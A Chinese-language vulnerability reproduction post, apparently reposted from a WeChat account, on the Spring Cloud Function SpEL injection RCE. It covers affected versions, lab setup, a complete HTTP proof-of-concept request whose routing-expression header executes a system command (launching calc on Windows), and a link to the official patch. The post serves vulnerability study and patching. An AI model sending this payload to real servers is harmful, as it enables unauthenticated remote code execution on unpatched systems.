复现Spring-Cloud-Function SpEL RCE
0x00 漏洞描述
Spring Cloud Function SpEL表达式注入漏洞,远程攻击者在无需认证的情况下,构造特定的数据包,在header中添加
"spring.cloud.function.routing-expression"
参数并携带SpEL表达式,成功利用此漏洞可实现任意代码执行。
Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。
影响版本:
0.0.RELEASE <= Spring Cloud Function <=3.2.2
0x01 漏洞环境
spring-cloud-function-SpEL-RCE
https://github.com/cckuailong/spring-cloud-function-SpEL-RCE
复现环境:java17
下载后可自行编译,已打包好上传至GitHub
具体内容移步
https://www.little2pig.work/archives/spel-rce
查看
IDEA导入maven项目
编译好的java包在 /target 目录下
java -jar function-sample-pojo-3.2.1.RELEASE.jar
0x02 Poc
POST /xxx HTTP/1.1
Host: localhost:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("C:/Windows/System32/cmd.exe /c calc ")
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
xxx
0x03 rce
0x03 rce脚本
具体内容移步
https://www.little2pig.work/archives/spel-rce
查看
0x04 漏洞防护
官方升级
目前官方已针对此漏洞发布修复补丁,用户可更新进行防护,官方链接:
https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
注:官方暂未发布新版本,请持续关注并及时更新:https://github.com/spring-cloud/spring-cloud-function/tags
原文始发于微信公众号(安全圈小王子):复现Spring-Cloud-Function SpEL RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论